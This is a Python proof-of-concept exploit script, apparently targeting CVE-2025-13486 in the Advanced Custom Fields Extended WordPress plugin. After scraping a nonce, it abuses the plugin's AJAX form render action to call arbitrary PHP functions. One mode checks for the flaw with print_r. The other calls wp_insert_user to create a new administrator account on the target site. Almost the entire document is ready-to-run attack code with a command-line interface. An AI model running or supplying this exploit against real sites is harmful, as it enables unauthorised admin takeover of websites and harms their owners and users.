import requests import sys import random import string import argparse from urllib.parse import urljoin def generate_random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def get_nonce(url): try: response = requests.get(url, verify=False, timeout=10) # Look for acf.nonce in the response text import re match = re.search(r'acf\.data.*?"nonce":"([a-f0-9]+)"', response.text) if match: return match.group(1) except: pass return None def verify_vulnerability(url): """ Verify the vulnerability using print_r with a random string. """ target_url = urljoin(url, "/wp-admin/admin-ajax.php") random_marker = generate_random_string(12) print(f"[*] Target: {target_url}") print(f"[*] Verifying vulnerability with random marker: {random_marker}") nonce = get_nonce(url) if nonce: print(f"[*] Found Nonce: {nonce}") else: print(f"[-] Could not find nonce, attempting without it (might fail).") # Payload using print_r to verify vulnerability payload = { "action": "acfe/form/render_form_ajax", "nonce": nonce if nonce else "", "form[render]": "print_r", "form[custom_payload]": random_marker, } try: response = requests.post(target_url, data=payload, verify=False, timeout=10) print(f"[*] Request sent. Status Code: {response.status_code}") if random_marker in response.text: print(f"\n[+] VULNERABLE! Random marker found in response.") print(f"[+] The target is vulnerable to CVE-2025-13486.") return True else: print(f"\n[-] Not vulnerable or marker not found in response.") return False except requests.exceptions.RequestException as e: print(f"[-] Error sending request: {e}") return False def exploit(url, username, password, email): target_url = urljoin(url, "/wp-admin/admin-ajax.php") print(f"[*] Target: {target_url}") nonce = get_nonce(url) if nonce: print(f"[*] Found Nonce: {nonce}") else: print(f"[-] Could not find nonce, attempting without it (might fail).") print(f"[*] Creating Admin User:") print(f" User: {username}") print(f" Pass: {password}") print(f" Email: {email}") # Payload to exploit call_user_func_array($form['render'], array($form)) # Action: acfe/form/render_form_ajax payload = { "action": "acfe/form/render_form_ajax", "nonce": nonce if nonce else "", "form[render]": "wp_insert_user", "form[user_login]": username, "form[user_pass]": password, "form[user_email]": email, "form[role]": "administrator", } try: response = requests.post(target_url, data=payload, verify=False, timeout=10) print(f"[*] Request sent. Status Code: {response.status_code}") # print(response.text) # Debugging print("\n[+] Exploit attempt finished.") print("[*] Please manually verify by logging in with the created credentials.") except requests.exceptions.RequestException as e: print(f"[-] Error sending request: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2025-13486 PoC - ACFE RCE (Admin Creation)") parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., http://example.com)") parser.add_argument("--verify", action="store_true", help="Only verify vulnerability (safer, uses print_r)") parser.add_argument("--user", help="Username to create (default: random)") parser.add_argument("--password", help="Password to set (default: random)") parser.add_argument("--email", help="Email to set (default: random)") args = parser.parse_args() if args.verify: # Run verification mode verify_vulnerability(args.url) else: # Run full exploit mode (create admin user) username = args.user if args.user else "admin_" + generate_random_string(5) password = args.password if args.password else generate_random_string(12) email = args.email if args.email else f"{username}@example.com" exploit(args.url, username, password, email) if __name__ == "__main__": main()